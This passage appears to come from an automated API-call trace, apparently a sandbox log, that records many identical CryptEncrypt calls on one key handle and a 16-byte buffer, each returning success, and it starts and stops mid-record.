pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.809] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.810] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.811] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.812] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 